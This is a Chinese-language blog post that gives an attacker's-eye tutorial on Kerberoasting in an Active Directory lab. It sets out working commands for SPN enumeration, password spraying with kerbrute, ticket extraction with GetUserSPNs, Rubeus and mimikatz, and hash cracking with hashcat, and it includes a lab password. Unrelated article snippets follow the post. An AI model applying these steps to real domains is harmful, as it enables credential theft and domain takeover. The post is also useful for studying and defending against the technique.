域内攻击 -----> Kerberoasting

在域中,能拿到账户信息得攻击基本上有四个

  • 域内用户枚举
  • 域内密码喷洒
  • Kerberoasting
  • AS-REP Roasting

对于AS-REP Roasting,我们下一篇文章讲,而前两个,请参考我以前域内横向移动得文章。

那么我们今天就来聊聊Kerberoasting

1.SPN

对于SPN可能大家感觉没有接触过,但是举个例子大家包懂得

setspn -Q */* 

这个命令用来查询域中的注册了SPN的机器和账户

我们可以看见在域中的三台机器都注册了对应的SPN,像我们熟悉的CIFS服务以及HOST,LDAP,通过这些服务,我们才能对对应的主机进行查看,复制文件,运行计划任务等。

但是,只有机器账户才能有SPN吗???   

那包不是的,普通的用户也能注册SPN

2.SPN的注册

通过以下命令,我们可以给机器用户和域用户注册SPN

setspn -U -S HTTP/机器名   用户名      
setspn -C -S HTTP/机器名   机器名

第一条命令,就是给用户进行注册SPN,那么我们来试一下

这样,就是给SEC个用户注册了SEC这台机器的一个SPN,我们再去查看一下

可以看见除了我们刚才设置的SPN以外还有一个krbtgt的也是被设置了SPN

3.ServerHash

我相信你们一定对上面的命令很好奇,甚至有点疑惑,下面我就来解释一下

那上面这个机器的SPN来说,它的ServerHash就是这台机器的哈希,在Kerberos中,ST中的一部分就是用的这个机器的哈希来进行加密的!!

而对于我们刚才在SEC机器上用SEC用户注册的SPN,在Kerberos中,ST中的一部分就是用的SEC这个用户的NTLMhash进行加密的!!

所以,机器注册SPN和用户注册SPN的区别就是Kerberos在TGS-REQ阶段中,当用户发送了一张TGT之后,KDC上的TGS就会去域内查询对应的SPN,并找到对应的哈希加密ST

4.Kerberoasting原理

第一个好理解,我们来看看第二个!

我们知道在TGS-REP中,KDC上的TGS会返回一张ST,但是,其实这张ST,无论用户是否有访问的权限也是会返回的,我们去Wireshark 看看

  • 域控SUBDC.RCE.ORG
  • 域内普通用户 WIN7.RCE.ORG

我们先用一个普通用户去申请一张域控上的ST(即使我们没有权限访问)

kerberos::ask /target:host/subdc.rce.org

然后我们去wireshark查看

然后我们主要看TGS-REP这个数据包

下面这个就是subdc.rce.org的Server哈希加密的ST部分内容,上面就是用的CT_sessionkey加密的一把CS_sessionkey,我们要破解的,就是下面这个用Serverhash加密的内容!

5.SPN的探测

对于Kerberoasting,我们破解的,是用户注册的SPN!!!为什么不是破解机器注册的SPN呢??明明机器的SPN天生注册,域内用户还不一定注册了SPN

  ::: ????

 :::那是因为机器的哈希是十多位的随机数字,一般破不开 ,而且还是随机生成的,所以我们就要破解相对容易破解的用户的哈希!!!

那么怎么探测SPN呢?? 最简单就是通过这一条命令

shell setspn -Q */*

这个是最简单的能获取SPN的方法 

然后就是使用我们的Powerview脚本,这里我采用无文件落地的形式去探测

powershell-import PowerView.ps1
powershell Get-NetUser -SPN

 这个也是可以找到的

当然也包可以用ADFind的啦

对于域内机器

shell Adfind.exe -b "dc=rce,dc=org" -f "&(servicePrincipalName=*)" servicePrincipalName

对于工作组机器,你就要知道一个用户的账号和密码,以及域控的位置了

什么?? 你怎么知道域馆在哪 ???  Nbtscan是能扫出来的(精准定位到域馆)

首先我们来一台加入到域,但是处于工作组环境的主机,并且给他上线到CS

然后我们上传NBTscan,并且去扫,就能发现能精准定位到域控

然后就是通过喷洒获取域内用户的密码了,这里常规的插件 都不能对工作组进行操作

所以我们就要使用这款强大的工具  -->kerbrute !!

shell kerbrute.exe passwordspray -d 域名 用户字典 密码

这样,就算我们在工作组也是能通过域内密码喷洒拿到一个用户的密码的 

然后我们就可以用ADFind去查询了!!!

shell Adfind.exe -h 192.168.111.138:389 -u 二级域名\用户名 -up 刚才喷洒出来的密码 -f  "&(servicePrincipalName=*)" servicePrincipalName

成功探测出SPN

·

当然了,如果你能通过喷洒出密码的话,那么其实就不用Kerberoasting这么麻烦了!

6.获取高权限用户的SPN

我们众所周知,我们在域内,最重要的就是找域馆,所以我们就要看看域管理员组有没有注册了SPN的用户!!!  其实就是上面的命令加多一个约束条件

shell Adfind.exe -b "dc=rce,dc=org" -f "&(servicePrincipalName=*)(admincount=1)" servicePrincipalName

这时候我们就能看见Krbtgt的用户,但是它的密码也是随机生成的,我们也不能破解, 

但是不明白为什么,明明我有一个注册了高权限用户的SPN,但是找不出来。。。

所以这也给了我们一个思路,如果发现了一个用户注册了SPN,判断是否高权限还可以通过这届查询这些管理员组进行判断!

7.获取用户ST票据

对于申请ST票据,有很多方法,下面来讲几种

首先我们来一台工作组的电脑

  • 192.168.111.144 STU1$

以及一个域内用户

  • 192.168.111.132 WIN7$ 

1.GetUserSPNs

这个工具强大了,域内或者工作组都能用!!!

但是前提还是要你知道一域内用户的密码

shell GetUserSPNs.exe -request -dc-ip 192.168.111.138 rce.org/win7:hongrisec@2024  -outputfile 1.txt

这样工作组也能成功获取到对应的ST (不指定用户就是所有SPN的注册用户)

2.Rubeus

这个对电脑的.net需要一点配置,所以如果能用,就最好,用不了,就换一种(只能域用户)

shell Rubeus.exe kerberoast /format:john  /outfile:hash.txt

也是能成功拿到 

3.Mimikatz

最后就是我们的mimikatz啦!!!这个工具是真的强大好吧,不过也是只能用于域用户!

mimikatz kerberos::purge
shell klist purge

缺点就是你需要提权,这个就要看对面用什么机器了!!  

然后我们直接去申请票据

mimikatz kerberos::ask /target:web/sec.rce.org
mimikatz kerberos::list  /export

8.破解ServerHash

破解ServerHash,网上有很多的脚本,这里我们采用hashcat!!

hashcat.exe -m 13100 Serverhash 密码字典

由于我本机的Win11不知道为什么用不了Hashcat,所以我就直接贴密码了(你们去破,只要自字典强大,包能破出来的)

password : admin@123

9.通过Kerberoasting控制整个域

由于我们上一步获取到了高权限的SPN,所以剩下的就是无脑上线了!

这里就不在赘述了,CS上点几点就好!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/24071.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C++基础一:代码编译和运行时的调用堆栈

目录 运行时进程的虚拟地址划分 函数调用堆栈 程序编译链接原理 运行时进程的虚拟地址划分 每一个进程的用户空间是私有的,内核空间是共享的 函数调用堆栈 程序编译链接原理

Three.js零基础入门教程

参考资料:Threejs中文网 1. threejs文件包下载和目录简介 在正式学习Three.js之前,先做一些必要的准备工作,具体说就是下载threejs官方文件包,threejs官方文件包提供了很多有用的学习资源。 Three.js版本问题 Three.js处于飞速…

《数学学习与研究》投稿难度大吗?

《数学学习与研究》杂志的投稿难度相对适中。 一方面,它作为一本有一定影响力的数学专业期刊,对稿件的质量有一定要求。论文需要具备一定的创新性、科学性和逻辑性,研究内容要具有一定的价值和深度。 另一方面,与一些核心期刊相…

TEE的存储系统是如何实现的?如何保证其安全的?

在一般情况下,TEE OS 中是没有磁盘的,也没有 EMMC/UFS 驱动,因此无法在 TEE OS 侧完成数据落盘。 那么,TEE OS 的安全存储是如何实现的呢?事实上,TEE OS 侧的安全存储是通过反向存储在 REE 侧来实现的。有…

web安全基础学习笔记

这里写目录标题 1.使用hackbar2.php漏洞基本分析 弱类型语言2.2 php漏洞找到隐藏的源代码之 index.php~2.3 php漏洞找到隐藏的源代码之 vim的临时文件 /.index.php.swp3.php漏洞基本分析 数组 3.php漏洞基本分析 extract4.php漏洞基本分析 strpos eregi函数漏洞4.php漏洞基本分…

携手星展银行,YonSuite财资管理助力企业“扬帆出海”

在全球经济一体化的浪潮下,越来越多的中国企业怀揣着“扬帆出海”的雄心壮志,积极开拓国际市场。然而,在海外市场面临的复杂环境和激烈竞争中,如何高效管理财务资金、优化资源配置、降低运营风险,成为摆在众多出海企业…

Qt图像处理技术十二:QImage实现边缘检测(sobel算法)

效果图 原理 Sobel算法是一种常用的边缘检测算法,它利用图像的灰度变化来检测图像中物体的边缘。Sobel算法主要包括以下几个步骤: 灰度化: 首先将彩色图像转换为灰度图像,因为灰度图像只包含单通道的灰度信息,有利于…

通过fiftyone按分类下载open-images-v7数据集,并转成yolov5可直接训练的格式

import osimport fiftyone as fo import fiftyone.zoo as foz import yamlclasses [Person, # 人 - 0Car, # 轿车 - 1Taxi, # 出租车 - 2Ambulance, # 救护车 - 3Bus, # 公共汽车 - 4Bicycle, # 自行车 - 5Motorcycle, # 摩托车 - 6Dog, # 狗 - 7Cat, # 猫 - 8M…

000002 - Hadoop环境安装

Hadoop及其大数据生态圈 1. 背景2. 实践2.1 Linux服务器准备2.2 在其中一台服务器上安装JDK2.3 在其中一台服务器上安装HADOOP2.4 本地模式运行一个hadoop案例 3. 自动化部署 1. 背景 要搭建Hadoop集群环境,我们需要执行如下 准备三台Linux服务器,服务…

Python实现日志的记录

1 日志 1、介绍 日志(Log)是一个记录事件或系统活动的文件或数据集,日志是系统管理员和开发者用于诊断问题、监视系统性能、以及追踪用户活动的关键工具。包含以下: 系统日志:记录操作系统、应用程序、硬件组件等的事…

lcd屏幕verilog显示

一,VGA原理和时序 计算机显示区的显示有许多标准,常见的有VGA、SVGA等。在这里我们用VGA接口来控制显示器,也就是视频图形阵列。作为一 种标准的显示接口得到广泛的应用。 常见的彩色显示器一般由 CRT(阴极射线管)构成,色彩是由R、G、B(红、黄、 蓝)三基色组成。显示是…

前端UI框架Element Plus 和 Ant Design Vue哪个好

Element Plus 和 Ant Design Vue 都是基于 Vue.js 的 UI 组件库,它们具备一系列可复用的组件和丰富的功能,并且是当前国内主流的两个 UI 组件库。 (1)Element Plus 是饿了么前端团队推出的开源项目,是对 Element UI 的…

completefuture造成的rpc重试事故

前言 最近经历了一个由于 completefuture 的使用,导致RPC重试机制触发而引起的重复写入异常的生产bug。复盘下来,并非是错误的使用了completefuture,而是一些开发时很难意识到的坑。 背景 用户反馈通过应用A使用ota批量升级设备时存在概率…

文字游侠AI:一键创作头条爆文!(附渠道和保姆级教程)

在互联网的迅猛发展中,自媒体已然成为一条崭新的职业路径,吸引着越来越多的人通过各类平台分享观点与知识,同时获取相应的收益。今日头条便是一个极为出色的自媒体平台,旗下的图文项目更是一条实现收益的有效途径。 对于众多非专业…

【SpringBoot + Vue 尚庭公寓实战】租期管理接口实现(四)

【SpringBoot Vue 尚庭公寓实战】租期管理接口实现(四) 文章目录 【SpringBoot Vue 尚庭公寓实战】租期管理接口实现(四)1、查询全部租期列表2、保存或更新租期信息3、根据ID删除租期 租期管理共有三个接口,分别是 保…

IP纯净度对跨境电商有影响吗?

当我们谈论代理IP时,通常会提到一个重要概念,那就是“IP纯净度”。 IP纯净度是指代理IP服务中所提供的IP地址的质量、干净程度和安全性,纯净度高的IP地址通常具备低恶意软件攻击的风险、良好的访问效果、稳定性和速度以及隐私保护等特点。在…

动态内存管理(malloc,calloc,realloc,free)+经典笔试题

动态内存管理 一. malloc 和 free1. malloc2. free 二. calloc三. realloc四.动态内存的错误1.对NULL指针的解引用操作2.对动态开辟空间的越界访问3.对非动态开辟内存使用free释放4.使用free释放一块动态开辟内存的一部分5.对同一块动态内存多次释放6.动态开辟内存忘记释放&…

python连接Mongodb数据库,报错:pymongo.errors.ServerSelectionTimeoutError

python连接mongdb数据库,本来是可以的,但是研发更换新的数据库后,一直报错:pymongo.errors.ServerSelectionTimeoutError,但是在其他人电脑上脚本执行成功。 详见报错截图: 在网上找了很久的解决方案&…

图标绘制软件draw.io中文安装包

Draw.io(也称为Diagrams)是一款功能强大的免费在线图表绘制工具。它支持绘制多种类型的图表,如流程图、UML图、组织结构图等,满足了从商务到工程设计的多领域需求。软件界面直观友好,操作简单,用户无需安装…

【网络基础1】

文章目录 学习目标一、网络基础11.网络的重要性2.osi7层模式3.协议和osi7层模型的关系4.数据的封装和解封装5.tcp的三次握手6.Ddos攻击讲解7.Tcp的四次挥手 二、网络基础21.文字编码2.IP地址的划分3.子网掩码4.同网段ip才能直接通信5.DNS解析6.DNS解析命令7.短域名为什么值钱8.…